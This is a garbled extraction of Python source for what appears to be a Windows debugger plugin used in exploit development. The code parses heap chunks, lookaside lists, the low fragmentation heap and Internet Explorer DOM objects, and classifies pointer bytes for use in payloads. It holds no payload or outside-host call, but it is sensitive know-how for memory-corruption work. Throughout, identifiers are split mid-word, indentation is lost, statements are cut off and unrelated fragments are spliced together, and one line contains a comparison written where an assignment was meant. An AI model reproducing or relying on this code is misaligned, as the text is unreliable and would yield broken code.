Ptr32 _HEAP_LOCK
Ptr32
long
Ptr32 Void
: Uint2B
UChar
_HEAP_COUNTERS
_HEAP_TUNING_PARAMETERS
def __init__(self,address):
self.heapbase = address
self.VirtualAllocdBlocks = {}
self.LookAsideList = {}
self.SegmentList = {}
self.lalheads = {}
self.Encoding = 0
self.FrontEndHeap = 0
return None
def getEncodingKey(self):
"""
Retrieves the Encoding key from the current heap
Return: Int, containing the Encoding key (on Windows 7 and up)
or zero on older Operating Systems
"""
if win7mode:
self.EncodeFlagMask = struct.unpack('<L',dbg.readMemory(
self.heapbase+0x4c,4))[0]
if self.EncodeFlagMask == 0x100000:
self.Encoding = struct.unpack('<L',dbg.readMemor
y(self.heapbase+0x50,4))[0]
return self.Encoding
def getHeapChunkHeaderAtAddress(self,thischunk,headersize=8,type="chunk"
):
"""
Will convert the bytes placed at a certain address into an MnChu
nk object
"""
key = self.getEncodingKey()
fullheaderbin = ""
if type == "chunk" or type == "lal" or type == "freelist":
chunktype = "chunk"
if key == 0 and not win7mode:
fullheaderbin = dbg.readMemory(thischunk,headers
ize)
else:
fullheaderbin = decodeHeapHeader(thischunk,heade
rsize,key)
# if we have heap corruption, thischunk may not be a rea
dable address
# so fullheaderbin would be empty
if len(fullheaderbin) == headersize:
sizebytes = fullheaderbin[0:2]
thissize = struct.unpack('<H',sizebytes)[0]
prevsize = 0
segmentid = 0
flag = 0
unused = 0
tag = 0
if key == 0 and not win7mode:
prevsize = struct.unpack('<H',fullheader
bin[2:4])[0]
segmentid = struct.unpack('<B',fullheade
rbin[4:5])[0]
flag = struct.unpack('<B',fullheaderbin[
5:6])[0]
unused = struct.unpack('<B',fullheaderbi
n[6:7])[0]
tag = struct.unpack('<B',fullheaderbin[7
:8])[0]
else:
flag = struct.unpack('<B',fullheaderbin[
2:3])[0]
tag = struct.unpack('<B',fullheaderbin[3
:4])[0]
prevsize = struct.unpack('<H',fullheader
bin[4:6])[0]
segmentid = struct.unpack('<B',fullheade
rbin[6:7])[0]
unused = struct.unpack('<B',fullheaderbi
n[7:8])[0]
flink = 0
blink = 0
if type == "lal" or type == "freelist":
flink = struct.unpack('<L',dbg.readMemor
y(thischunk+headersize,4))[0]
if type == "freelist":
blink = struct.unpack('<L',dbg.readMemor
y(thischunk+headersize+4,4))[0]
return MnChunk(thischunk,chunktype,headersize,se
lf.heapbase,0,thissize,prevsize,segmentid,flag,unused,tag,flink,blink)
else:
return MnChunk(thischunk,chunktype,headersize,se
lf.heapbase,0,0,0,0,0,0,0,0,0)
return None
def getFrontEndHeap(self):
"""
Returns the value of the FrontEndHeap field in the heapbase
"""
if not win7mode:
return struct.unpack('<L',dbg.readMemory(self.heapbase +
0x580,4))[0]
if win7mode:
return struct.unpack('<L',dbg.readMemory(self.heapbase +
0x0d4,4))[0]
def getFrontEndHeapType(self):
"""
Returns the value of the FrontEndHeapType field in the heapbase
"""
if win7mode:
return struct.unpack('<H',dbg.readMemory(self.heapbase+0
xda,2))[0]
if not win7mode:
return struct.unpack('B',dbg.readMemory(self.heapbase+0x
586,1))[0]
def getLookAsideHead(self):
"""
Returns the LookAside List Head as a dictionary of dictionaries
"""
if not win7mode:
self.FrontEndHeap = self.getFrontEndHeap()
self.FrontEndHeapType = self.getFrontEndHeapType()
if self.FrontEndHeap > 0 and self.FrontEndHeapType == 0x
1 and len(self.lalheads) == 0:
lalindex = 0
startloc = self.FrontEndHeap
while lalindex < 128:
thisptr = self.FrontEndHeap + (0x30 * la
lindex)
lalheadfields = {}
# read the next 0x30 bytes and break dow
n into lal head elements
lalheadbin = dbg.readMemory(thisptr,0x30
)
lalheadfields["Next"] = struct.unpack('<
L',lalheadbin[0:4])[0]
lalheadfields["Depth"] = struct.unpack('
<H',lalheadbin[4:6])[0]
lalheadfields["Sequence"] = struct.unpac
k('<H',lalheadbin[6:8])[0]
lalheadfields["Depth2"] = struct.unpack(
'<H',lalheadbin[8:0xa])[0]
lalheadfields["MaximumDepth"] = struct.u
npack('<H',lalheadbin[0xa:0xc])[0]
lalheadfields["TotalAllocates"] = struct
.unpack('<L',lalheadbin[0xc:0x10])[0]
lalheadfields["AllocateMisses"] = struct
.unpack('<L',lalheadbin[0x10:0x14])[0]
lalheadfields["AllocateHits"] = struct.u
npack('<L',lalheadbin[0x10:0x14])[0]
lalheadfields["TotalFrees"] = struct.unp
ack('<L',lalheadbin[0x14:0x18])[0]
lalheadfields["FreeMisses"] = struct.unp
ack('<L',lalheadbin[0x18:0x1c])[0]
lalheadfields["FreeHits"] = struct.unpac
k('<L',lalheadbin[0x18:0x1c])[0]
lalheadfields["Type"] = struct.unpack('<
L',lalheadbin[0x1c:0x20])[0]
lalheadfields["Tag"] = struct.unpack('<L
',lalheadbin[0x20:0x24])[0]
lalheadfields["Size"] = struct.unpack('<
L',lalheadbin[0x24:0x28])[0]
lalheadfields["Allocate"] = struct.unpac
k('<L',lalheadbin[0x28:0x2c])[0]
lalheadfields["Free"] = struct.unpack('<
L',lalheadbin[0x2c:0x30])[0]
self.lalheads[lalindex] = lalheadfields
lalindex += 1
return self.lalheads
def showLookAsideHead(self,lalindex):
if len(self.lalheads) == 0:
self.getLookAsideHead()
if lalindex in self.lalheads:
thislalhead = self.lalheads[lalindex]
dbg.log(" Next: 0x%08x" % thislalhead["Next"])
dbg.log(" Depth: 0x%04x" % thislalhead["Depth"])
dbg.log(" Sequence: 0x%04x" % thislalhead["Sequence"])
dbg.log(" Depth2: 0x%04x" % thislalhead["Depth2"])
dbg.log(" MaximumDepth: 0x%04x" % thislalhead["MaximumD
epth"])
dbg.log(" TotalAllocates: 0x%08x" % thislalhead["TotalA
llocates"])
dbg.log(" AllocateMisses/AllocateHits: 0x%08x" % thisla
lhead["AllocateMisses"])
dbg.log(" TotalFrees: 0x%08x" % thislalhead["TotalFrees
"])
dbg.log(" FreeMisses/FreeHits: 0x%08x" % thislalhead["F
reeMisses"])
dbg.log("
dbg.log("
dbg.log("
dbg.log("
dbg.log("
)
return
def getLookAsideList(self):
"""
Retrieves the LookAsideList (if enabled) for the current heap
Returns : a dictionary, key = LAL index
Each element in the dictionary contains a dictionary, using a se
quence nr as key,
and each element in this dictionary contains an MnChunk obje
ct
"""
lal = {}
if not win7mode:
self.FrontEndHeap = self.getFrontEndHeap()
self.FrontEndHeapType = self.getFrontEndHeapType()
if self.FrontEndHeap > 0 and self.FrontEndHeapType == 0x
1:
lalindex = 0
startloc = self.FrontEndHeap
while lalindex < 128:
thisptr = self.FrontEndHeap + (0x30 * la
lindex)
lalhead_flink = struct.unpack('<L',dbg.r
eadMemory(thisptr,4))[0]
if lalhead_flink != 0:
thissize = (lalindex * 8)
next_flink = lalhead_flink
seqnr = 0
thislal = {}
freelistentry =
self.getHeapChunkHeaderAtAddress(tflink-8,8,"freelist")
thisfreelist[thi
sfreelistindex] = freelistentry
thisfreelistinde
x += 1
thisblink = stru
ct.unpack('<L',dbg.readMemory(tflink+4,4))[0]
thisflink = stru
ct.unpack('<L',dbg.readMemory(tflink,4))[0]
tflink=thisflink
if (tflink == or
igblink) or (tflink == pflink):
endchain
= True
pflink = tflink
except:
endchain = True
freelists[flindex] = thisfreelis
t
except:
continue
flindex += 1
return freelists
def getVirtualAllocdBlocks(self):
"""
Retrieves the VirtualAllocdBlocks list from the selected heap
Return: A dictionary, using the start of a virtualallocdblock as
key
Each entry in the dictionary contains a MnChunk object, with chu
nktype set to "virtualalloc"
"""
global VACache
offset = 0x50
if win7mode:
offset = 0xa0
if not self.heapbase in VACache:
try:
# get virtualallocdBlocks for this heap
vaptr = self.heapbase + offset
valistentry = struct.unpack('<L',dbg.readMemory(
vaptr,4))[0]
while valistentry != vaptr:
# get VA Header info
headersize = 0x20
vaheader = dbg.readMemory(valistentry,32
)
flink = struct.unpack('<L',vaheader[0:4]
)[0]
blink = struct.unpack('<L',vaheader[4:8]
)[0]
commitsize = struct.unpack('<L',vaheader
[16:20])[0]
reservesize = struct.unpack('<L',vaheade
r[20:24])[0]
size = struct.unpack('<H',vaheader[24:26
])[0]
prevsize = struct.unpack('<H',vaheader[2
6:28])[0]
segmentid = struct.unpack('<B',vaheader[
28:29])[0]
flag = struct.unpack('<B',vaheader[29:30
])[0]
unused = struct.unpack('<B',vaheader[30:
31])[0]
tag = struct.unpack('<B',vaheader[31:])[
0]
chunkobj = MnChunk(valistentry,"virtuala
lloc",headersize,self.heapbase,0,size,prevsize,segmentid,flag,unused,tag,flink,b
link,commitsize,reservesize)
self.VirtualAllocdBlocks[valistentry] =
chunkobj
valistentry = struct.unpack('<L',dbg.rea
dMemory(valistentry,4))[0]
VACache[self.heapbase] = self.VirtualAllocdBlock
s
except:
pass
else:
self.VirtualAllocdBlocks = VACache[self.heapbase]
return self.VirtualAllocdBlocks
def getHeapSegmentList(self):
"""
Will collect all segments for the current heap object
Return: A dictionary, using the start of a segment as key
Each entry in the dictionary has 4 fields :
start of segment, end of segment, FirstEntry and LastValidEntry
"""
self.SegmentList = getSegmentsForHeap(self.heapbase)
# segstart,segend,firstentry,lastentry
return self.SegmentList
def usesLFH(self):
"""
Checks if the current heap has LFH enabled
Return: Boolean
"""
if win7mode:
frontendheaptype = self.getFrontEndHeapType()
if frontendheaptype == 0x2:
return True
else:
return False
else:
return False
def getLFHAddress(self):
"""
Retrieves the address of the Low Fragmentation Heap for the curr
ent heap
Return: Int
"""
return struct.unpack('<L',dbg.readMemory(self.heapbase+0xd4,4))[
0]
"""
Low Fragmentation Heap
"""
class MnLFH():
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
+0x000
+0x018
+0x020
+0x024
+0x028
+0x02c
+0x030
+0x034
+0x038
+0x03c
+0x040
+0x048
+0x050
+0x110
+0x310
Lock
: _RTL_CRITICAL_SECTION
SubSegmentZones : _LIST_ENTRY
ZoneBlockSize
: Uint4B
Heap
: Ptr32 Void
SegmentChange
: Uint4B
SegmentCreate
: Uint4B
SegmentInsertInFree : Uint4B
SegmentDelete
: Uint4B
CacheAllocs
: Uint4B
CacheFrees
: Uint4B
SizeInCache
: Uint4B
RunInfo
: _HEAP_BUCKET_RUN_INFO
UserBlockCache : [12] _USER_MEMORY_CACHE_ENTRY
Buckets
: [128] _HEAP_BUCKET
LocalData
: [1] _HEAP_LOCAL_DATA
self.SegmentInsertInFree = struct.unpack('<L',FLHHeader[0x30:0x3
4])[0]
self.SegmentDelete = struct.unpack('<L',FLHHeader[0x34:0x38])[0]
self.CacheAllocs = struct.unpack('<L',FLHHeader[0x38:0x3c])[0]
self.CacheFrees = struct.unpack('<L',FLHHeader[0x3c:0x40])[0]
self.SizeInCache = struct.unpack('<L',FLHHeader[0x40:0x44])[0]
self.RunInfo = []
self.RunInfo.append(struct.unpack('<L',FLHHeader[0x48:0x4c])[0])
self.RunInfo.append(struct.unpack('<L',FLHHeader[0x4c:0x50])[0])
self.UserBlockCache = []
cnt = 0
while cnt < (12*4):
self.UserBlockCache.append(struct.unpack('<L',FLHHeader[
0x50+cnt:0x54+cnt])[0])
cnt += 4
def getSegmentInfo(self):
# input : self.LocalData
# output : return SubSegment
return
def getSubSegmentList(self):
# input : SubSegment
# output : subsegment mgmt list
return
def getSubSegment(self):
# input : subsegment list
# output : subsegments/blocks
return
"""
MnHeap Childclass
"""
class MnSegment:
def __init__(self,heapbase,segmentstart,segmentend,firstentry=0,lastvali
dentry=0):
self.heapbase = heapbase
self.segmentstart = segmentstart
self.segmentend = segmentend
self.firstentry = segmentstart
self.lastvalidentry = segmentend
if firstentry > 0:
self.firstentry = firstentry
if lastvalidentry > 0:
self.lastvalidentry = lastvalidentry
self.chunks = {}
def getChunks(self):
"""
Enumerate all chunks in the current segment
Output : Dictionary, key = chunkptr
Values : MnChunk objects
chunktype will be set to "chunk"
"""
thischunk = self.firstentry
allchunksfound = False
allchunks = {}
nextchunk = thischunk
cnt = 0
savedprevsize = 0
mHeap = MnHeap(self.heapbase)
key = mHeap.getEncodingKey()
while not allchunksfound:
thissize = 0
prevsize = 0
flag = 0
unused = 0
segmentid = 0
tag = 0
headersize = 0x8
try:
fullheaderbin = ""
if key == 0 and not win7mode:
fullheaderbin = dbg.readMemory(thischunk
,headersize)
else:
fullheaderbin = decodeHeapHeader(thischu
nk,headersize,key)
sizebytes = fullheaderbin[0:2]
thissize = struct.unpack('<H',sizebytes)[0]
if key == 0 and not win7mode:
prevsizebytes = struct.unpack('<H',fullh
eaderbin[2:4])[0]
segmentid = struct.unpack('<B',fullheade
rbin[4:5])[0]
flag = struct.unpack('<B',fullheaderbin[
5:6])[0]
unused = struct.unpack('<B',fullheaderbi
n[6:7])[0]
tag = struct.unpack('<B',fullheaderbin[7
:8])[0]
else:
flag = struct.unpack('<B',fullheaderbin[
2:3])[0]
tag = struct.unpack('<B',fullheaderbin[3
:4])[0]
prevsizebytes = struct.unpack('<H',fullh
eaderbin[4:6])[0]
segmentid = struct.unpack('<B',fullheade
rbin[6:7])[0]
unused = struct.unpack('<B',fullheaderbi
n[7:8])[0]
if savedprevsize == 0:
prevsize = 0
savedprevsize = thissize
else:
prevsize = savedprevsize
savedprevsize = thissize
#prevsize = prevsizebytes
except:
thissize = 0
prevsize = 0
flag = 0
unused = 0
if thissize > 0:
nextchunk = thischunk + (thissize * 8)
else:
nextchunk += headersize
chunktype = "chunk"
if "virtall" in getHeapFlag(flag).lower() or "internal"
in getHeapFlag(flag).lower():
#chunktype = "virtualalloc"
headersize = 0x20
if not thischunk in allchunks and thissize > 0:
mChunk = MnChunk(thischunk,chunktype,headersize,
self.heapbase,self.segmentstart,thissize,prevsize,segmentid,flag,unused,tag)
allchunks[thischunk] = mChunk
thischunk = nextchunk
if nextchunk >= self.lastvalidentry:
allchunksfound = True
if "last" in getHeapFlag(flag).lower():
allchunksfound = True
cnt += 1
self.chunks = allchunks
return allchunks
"""
Chunk class
"""
class MnChunk:
chunkptr = 0
chunktype = ""
headersize = 0
extraheadersize = 0
heapbase = 0
segmentbase = 0
size = 0
prevsize = 0
segment = 0
flag = 0
flags = 0
unused = 0
tag = 0
flink = 0
blink = 0
commitsize = 0
reservesize = 0
remaining = 0
hasust = False
dph_block_information_startstamp = 0
dph_block_information_heap = 0
dph_block_information_requestedsize = 0
dph_block_information_actualsize = 0
dph_block_information_traceindex = 0
dph_block_information_stacktrace = 0
dph_block_information_endstamp = 0
def __init__(self,chunkptr,chunktype,headersize,heapbase,segmentbase,siz
e,prevsize,segment,flag,unused,tag,flink=0,blink=0,commitsize=0,reservesize=0):
self.chunkptr = chunkptr
self.chunktype = chunktype
self.extraheadersize = 0
self.remaining = 0
self.dph_block_information_startstamp = 0
self.dph_block_information_heap = 0
self.dph_block_information_requestedsize = 0
self.dph_block_information_actualsize = 0
self.dph_block_information_traceindex = 0
self.dph_block_information_stacktrace = 0
self.dph_block_information_endstamp = 0
self.hasust = False
# if ust/hpa is enabled, the chunk header is followed by 32bytes
of DPH_BLOCK_INFORMATION header info
currentflagnames = getNtGlobalFlagNames(getNtGlobalFlag())
if "ust" in currentflagnames:
self.hasust = True
if "hpa" in currentflagnames:
self.extraheadersize = 0x20
# reader header info
try:
raw_dph_header = dbg.readMemory(chunkptr + heade
rsize,0x20)
self.dph_block_information_startstamp = struct.u
npack('<L',raw_dph_header[0:4])[0]
self.dph_block_information_heap = struct.unpack(
'<L',raw_dph_header[4:8])[0]
self.dph_block_information_requestedsize = struc
t.unpack('<L',raw_dph_header[8:12])[0]
self.dph_block_information_actualsize = struct.u
npack('<L',raw_dph_header[12:16])[0]
self.dph_block_information_traceindex = struct.u
npack('<L',raw_dph_header[16:20])[0]
self.dph_block_information_stacktrace = struct.u
npack('<L',raw_dph_header[24:28])[0]
self.dph_block_information_endstamp = struct.unp
ack('<L',raw_dph_header[28:32])[0]
except:
pass
self.headersize = headersize
self.heapbase = heapbase
self.segmentbase = segmentbase
self.size = size
self.prevsize = prevsize
self.segment = segment
self.flag = flag
self.flags = flag
self.unused = unused
self.tag = tag
self.flink = flink
self.blink = blink
self.commitsize = commitsize
self.reservesize = reservesize
self.userptr = self.chunkptr + self.headersize + self.extraheade
rsize
self.usersize = (self.size * 8) - self.unused - self.extraheader
size
self.remaining = self.unused - self.headersize - self.extraheade
rsize
self.flagtxt = getHeapFlag(self.flag)
def showChunk(self,showdata = False):
chunkshown = False
if self.chunktype == "chunk":
dbg.log("
_HEAP @ %08x, Segment @ %08x" % (self.heapb
ase,self.segmentbase))
if win7mode:
iHeap = MnHeap(self.heapbase)
if iHeap.usesLFH():
dbg.log("
Heap has LFH enabled. LFH H
eap starts at 0x%08x" % iHeap.getLFHAddress())
if "busy" in self.flagtxt.lower() and "i
nternal" in self.flagtxt.lower() and self.usersize > 0x1ff0:
dbg.log("
This chunk may be m
anaged by LFH")
dbg.log("
(
bytes
)
(bytes)")
dbg.log("
HEAP_ENTRY
Size PrevSize
Unused
Flags
UserPtr UserSize Remaining - state")
dbg.log("
%08x %08x %08x %08x [%02x] %08x
%08x %08x %s (hex)" % (self.chunkptr,self.size*8,self.prevsize*8,self.unused
,self.flag,self.userptr,self.usersize,self.unused-self.headersize,self.flagtxt))
dbg.log("
%08d %08d %08d
%08d %08d %s (dec)" % (self.size*8,self.prevsize*8,self.unused,self.us
ersize,self.unused-self.headersize,self.flagtxt))
dbg.log("")
chunkshown = True
if self.chunktype == "virtualalloc":
dbg.log("
_HEAP @ %08x, VirtualAllocdBlocks" % (self.
heapbase))
dbg.log("
link,self.blink))
dbg.log("
CommitSize : 0x%08x bytes, ReserveSize :
0x%08x bytes" % (self.commitsize*8, self.reservesize*8))
dbg.log("
(
bytes
)
(bytes)")
dbg.log("
HEAP_ENTRY
Size PrevSize
Unused
Flags
UserPtr UserSize - state")
dbg.log("
%08x %08x %08x %08x [%02x] %08x
%08x %s (hex)" % (self.chunkptr,self.size*8,self.prevsize*8,self.unused,self.
flag,self.userptr,self.usersize,self.flagtxt))
dbg.log("
%08d %08d %08d
%08d %s (dec)" % (self.size*8,self.prevsize*8,self.unused,self.usersize
,self.flagtxt))
dbg.log("")
chunkshown = True
if chunkshown:
requestedsize = self.usersize
dbg.log("
Chunk header size: 0x%x (%d)" % (self.hea
dersize,self.headersize))
if self.extraheadersize > 0:
dbg.log("
Extra header due to GFlags: 0x%x
(%d) bytes" % (self.extraheadersize,self.extraheadersize))
if self.dph_block_information_stacktrace > 0:
dbg.log("
DPH_BLOCK_INFORMATION Header size
AsciiPrintRange
AsciiUppercaseRange
AsciiLowercaseRange
AsciiAlphaRange
AsciiNumericRange
AsciiSpaceRange
=
=
=
=
=
= range(20,127)
range(65,91)
range(97,123)
AsciiUppercaseRange + AsciiLowercaseRange
range(48,58)
[32]
self.HexAddress = toHex(address)
# Nulls
self.hasNulls = (byte1 == 0) or (byte2 == 0) or (byte3 == 0) or
(byte4 == 0)
# Starts with null
self.startsWithNull = (byte1 == 0)
# Unicode
self.isUnicode = ((byte1 == 0) and (byte3 == 0))
# Unicode reversed
self.isUnicodeRev = ((byte2 == 0) and (byte4 == 0))
# Unicode transform
self.unicodeTransform = UnicodeTransformInfo(self.HexAddress)
# Ascii
if not self.isUnicode and not self.isUnicodeRev:
self.isAscii = bytesInRange(address, AsciiRange)
else:
self.isAscii = bytesInRange(address, NullRange + AsciiRa
nge)
# AsciiPrintable
if not self.isUnicode and not self.isUnicodeRev:
self.isAsciiPrintable = bytesInRange(address, AsciiPrint
Range)
else:
self.isAsciiPrintable = bytesInRange(address, NullRange
+ AsciiPrintRange)
# Uppercase
if not self.isUnicode and not self.isUnicodeRev:
self.isUppercase = bytesInRange(address, AsciiUppercaseR
ange)
else:
self.isUppercase = bytesInRange(address, NullRange + Asc
iiUppercaseRange)
# Lowercase
if not self.isUnicode and not self.isUnicodeRev:
self.isLowercase = bytesInRange(address, AsciiLowercaseR
ange)
else:
self.isLowercase = bytesInRange(address, NullRange + Asc
iiLowercaseRange)
# Numeric
if not self.isUnicode and not self.isUnicodeRev:
self.isNumeric = bytesInRange(address, AsciiNumericRange
)
else:
self.isNumeric = bytesInRange(address, NullRange + Ascii
NumericRange)
# Alpha numeric
if not self.isUnicode and not self.isUnicodeRev:
self.isAlphaNumeric = bytesInRange(address, AsciiAlphaRa
nge + AsciiNumericRange + AsciiSpaceRange)
else:
self.isAlphaNumeric = bytesInRange(address, NullRange +
AsciiAlphaRange + AsciiNumericRange + AsciiSpaceRange)
# Uppercase + Numbers
if not self.isUnicode and not self.isUnicodeRev:
self.isUpperNum = bytesInRange(address, AsciiUppercaseRa
nge + AsciiNumericRange)
else:
self.isUpperNum = bytesInRange(address, NullRange + Asci
iUppercaseRange + AsciiNumericRange)
# Lowercase + Numbers
if not self.isUnicode and not self.isUnicodeRev:
self.isLowerNum = bytesInRange(address, AsciiLowercaseRa
nge + AsciiNumericRange)
else:
self.isLowerNum = bytesInRange(address, NullRange + Asci
iLowercaseRange + AsciiNumericRange)
def __str__(self):
"""
Get pointer properties (human readable format)
Arguments:
None
Return:
String with various properties about the pointer
"""
outstring = ""
if self.startsWithNull:
outstring += "startnull,"
elif self.hasNulls:
outstring += "null,"
#check if this pointer is unicode transform
hexaddr = self.HexAddress
outstring += UnicodeTransformInfo(hexaddr)
if self.isUnicode:
outstring += "unicode,"
if self.isUnicodeRev:
outstring += "unicodereverse,"
if self.isAsciiPrintable:
outstring += "asciiprint,"
if self.isAscii:
outstring += "ascii,"
if self.isUppercase:
outstring == "upper,"
if self.isLowercase:
outstring += "lower,"
if self.isNumeric:
outstring+= "num,"
if self.isAlphaNumeric and not (self.isUppercase or self.isLower
case or self.isNumeric):
outstring += "alphanum,"
if self.isUpperNum and not (self.isUppercase or self.isNumeric):
outstring += "uppernum,"
if self.isLowerNum and not (self.isLowercase or self.isNumeric):
outstring += "lowernum,"
outstring = outstring.rstrip(",")
outstring += " {" + getPointerAccess(self.address)+"}"
return outstring
def getAddress(self):
return self.address
def isUnicode(self):
return self.isUnicode
def isUnicodeRev(self):
return self.isUnicodeRev
def isUnicodeTransform(self):
return self.unicodeTransform != ""
def isAscii(self):
return self.isAscii
def isAsciiPrintable(self):
return self.isAsciiPrintable
def isUppercase(self):
return self.isUppercase
def isLowercase(self):
return self.isLowercase
def isUpperNum(self):
return self.isUpperNum
def isLowerNum(self):
return self.isLowerNum
def isNumeric(self):
return self.isNumeric
def isAlphaNumeric(self):
return self.alphaNumeric
def hasNulls(self):
return self.hasNulls
def startsWithNull(self):
return self.startsWithNull
def belongsTo(self):
"""
Retrieves the module a given pointer belongs to
Arguments:
None
Return:
String with the name of the module a pointer belongs to,
or empty if pointer does not belong to a module
"""
if len(g_modules)==0:
populateModuleInfo()
for thismodule,modproperties in g_modules.iteritems():
thisbase = getModuleProperty(thismodule,"base")
thistop = getModuleProperty(thismodule,"top")
if (self.address >= thisbase) and (self.address
<= thistop):
return thismodule
return ""
def isOnStack(self):
"""
Checks if the pointer is on one of the stacks of one of the thre
ads in the process
Arguments:
None
Return:
Boolean - True if pointer is on stack
"""
stacks = getStacks()
for stack in stacks:
if (stacks[stack][0] <= self.address) and (self.address
< stacks[stack][1]):
return True
return False
def isInHeap(self):
"""
Checks if the pointer is part of one of the pages associated wit
h process heaps/segments
Arguments:
None
Return:
Boolean - True if pointer is in heap
"""
segmentcnt = 0
for heap in dbg.getHeapsAddress():
# part of a segment ?
segments = getSegmentsForHeap(heap)
for segment in segments:
if segmentcnt == 0:
# in heap data structure
if self.address >= heap and self
def showObjectInfo(self):
# check if chunk is a DOM object
if __DEBUGGERAPP__ == "WinDBG":
cmdtorun = "dds 0x%08x L 1" % self.address
output = dbg.nativeCommand(cmdtorun)
outputlower = output.lower()
outputlines = output.split("\n")
if "vftable" in outputlower:
# is this Internet Explorer ?
ieversion = 0
if isModuleLoadedInProcess('iexplore.exe') and i
sModuleLoadedInProcess('mshtml.dll'):
ieversionstr = getModuleProperty('iexplo
re.exe','version')
dbg.log("
Internet Explorer v%s det
ected" % ieversionstr)
ieversion = 0
if ieversionstr.startswith("8."):
ieversion = 8
if ieversionstr.startswith("9."):
ieversion = 9
if ieversionstr.startswith("10."):
ieversion = 10
dbg.log("
0x%08x may be the start of an obj
ect, vtable pointer: %s" % (self.address,outputlines[0]))
vtableptr_s = outputlines[0][10:18]
try:
vtableptr = hexStrToInt(vtableptr_s)
dbg.log("
Start of vtable at 0x%08x
: (showing first 4 entries only)" % vtableptr)
cmdtorun = "dds 0x%08x L 4" % vtableptr
output = dbg.nativeCommand(cmdtorun)
outputlines = output.split("\n")
cnt = 0
for line in outputlines:
if line.replace(" ","") != "":
dbg.log("
+0x%x ->
%s" % (cnt,line))
cnt += 4
if "mshtml!" in outputlower and ieversio
n > 7:
# see if we can find the object
type, refcounter, attribute count, parent, etc
refcounter = None
attributeptr = None
try:
refcounter = dbg.readLon
g(self.address + 4)
except:
pass
try:
if ieversion == 8:
attributeptr = d
bg.readLong(self.address + 0xc)
if ieversion == 9:
attributeptr = d
bg.readLong(self.address + 0x10)
except:
pass
Refcounte
"
tr))
dbg.log(
+0x%02x : Attribute table at 0x%08x" % (offset_tableptr,attributetablep
attcnt =
while at
tcnt < nr_attributes:
try:
dbg.log("
tr))
if variant_type == 0x1f:
att_from = dbg.readLong(att_value_ptr)
att_value = dbg.readWString(att_from)
else:
att_value = "0x%08x (%s)" % (att_value_ptr,int("0x%08x" % att_value_ptr,16))
dbg.log("
0x%08x + 0x%02x (0x%08x): 0x%08x : &Value : %s" % (at
tributetableptr,attvalue_offset,attributetableptr+attvalue_offset,att_value_ptr,
att_value))
except:
dbg.logLines(traceback.format_exc(),highlight=True)
break
attributetableptr += 0x10
attcnt += 1
else:
dbg.log(
Invalid attribute ptr found (0x%08x). This may not be a real DOM object."
% attributeptr)
"
offset_domtree = 0x14
if ieversion == 9:
offset_domtree = 0x1C
domtreeptr = dbg.readLong(self.a
ddress + offset_domtree)
if not domtreeptr is None:
dptrx = MnPointer(domtre
eptr)
if dptrx.isInHeap():
currobj = self.a
ddress
moreparents = Tr
ue
parentcnt = 0
dbg.log("
O
bject +0x%02x : Ptr to DOM Tree info: 0x%08x" % (offset_domtree,domtreeptr))
while moreparent
s:
# walk t
ree, get parents
parentsp
aces = " " * parentcnt
cmdtorun
= "dds poi(poi(poi(0x%08x+0x%02x)+4)) L 1" % (currobj,offset_domtree)
output =
dbg.nativeCommand(cmdtorun)
outputlo
wer = output.lower()
outputli
nes = output.split("\n")
if "vfta
ble" in outputlines[0]:
dbg.log("
def showHeapBlockInfo(self):
"""
Find address in heap and print out info about heap, segment, chu
nk it belongs to
"""
allheaps = []
heapkey = 0
foundinheap = None
foundinsegment = None
foundinva = None
foundinchunk = None
try:
allheaps = dbg.getHeapsAddress()
except:
allheaps = []
for heapbase in allheaps:
mHeap = MnHeap(heapbase)
heapbase_extra = ""
frontendinfo = []
frontendheapptr = 0
frontendheaptype = 0
if win7mode:
heapkey = mHeap.getEncodingKey()
if mHeap.usesLFH():
frontendheaptype = 0x2
foundinchunk = thischunk
foundinva = vaptr
foundinheap = heapbase
# perhaps chunk is in FEA
if not win7mode:
foundinlal = False
foundinfreelist = False
FrontEndHeap = mHeap.getFrontEndHeap()
if FrontEndHeap > 0:
fea_lal = mHeap.getLookAsideList()
for lal_table_entry in sorted(fea_lal.ke
ys()):
nr_of_chunks = len(fea_lal[lal_t
able_entry])
lalhead = struct.unpack('<L',dbg
.readMemory(FrontEndHeap + (0x30 * lal_table_entry),4))[0]
for chunkindex in fea_lal[lal_ta
ble_entry]:
lalchunk = fea_lal[lal_t
able_entry][chunkindex]
chunksize = lalchunk.siz
e * 8
flag = getHeapFlag(lalch
unk.flag)
if (self.address >= lalc
hunk.chunkptr) and (self.address < lalchunk.chunkptr+chunksize):
foundinlal = Tru
e
if not silent:
dbg.log(
"Address is part of chunk on LookAsideList[%d], heap 0x%08x" % (lal_table_entry,
mHeap.heapbase))
break
if foundinlal:
expectedsize = lal_table
_entry * 8
if not silent:
dbg.log("
LA
L [%d] @0x%08x, Expected Chunksize: 0x%x (%d), %d chunks, Flink: 0x%08x" % (lal_
table_entry,FrontEndHeap + (0x30 * lal_table_entry),expectedsize,expectedsize,nr
_of_chunks,lalhead))
for chunkindex in fea_la
l[lal_table_entry]:
lalchunk = fea_l
al[lal_table_entry][chunkindex]
foundchunk = lal
chunk
chunksize = lalc
hunk.size * 8
flag = getHeapFl
ag(lalchunk.flag)
extra = "
"
if (self.address
>= lalchunk.chunkptr) and (self.address < lalchunk.chunkptr+chunksize):
extra =
" --> "
if not silent:
dbg.log(
dbg.log("---------------------------------------------------")
dbg.log("[+] Dumping object at 0x%08x, 0x%02x by
tes" % (addy,size))
if levels > 0:
dbg.log("[+] Also dumping up to %d level
s deep, max size of nested objects: 0x%02x bytes" % (levels, nestedsize))
dbg.log("")
parentlist = []
levelcnt = 0
if customthislog == "" and customlogfile == "":
logfile = MnLog("dumpobj.txt")
thislog = logfile.reset()
else:
logfile = customlogfile
thislog = customthislog
addys = [addy]
parent = ""
parentdata = {}
while levelcnt <= levels:
thisleveladdys = []
for addy in addys:
cmdtorun = "dds 0x%08x L 0x%02x/4" % (ad
dy,size)
startaddy = addy
endaddy = addy + size
output = dbg.nativeCommand(cmdtorun)
outputlines = output.split("\n")
offset = 0
for outputline in outputlines:
if not outputline.replace(" ",""
) == "":
loc = outputline[0:8]
content = outputline[10:
18]
symbol = outputline[19:]
if not "??" in content a
nd symbol.replace(" ","") == "":
contentaddy = he
xStrToInt(content)
info = self.getL
ocInfo(hexStrToInt(loc),contentaddy,startaddy,endaddy)
info.append(cont
ent)
dumpdata[hexStrT
oInt(loc)] = info
else:
info = ["",symbo
l,"",content]
dumpdata[hexStrT
oInt(loc)] = info
if addy in parentdata:
pdata = parentdata[addy]
parent = "Referenced at 0x%08x (
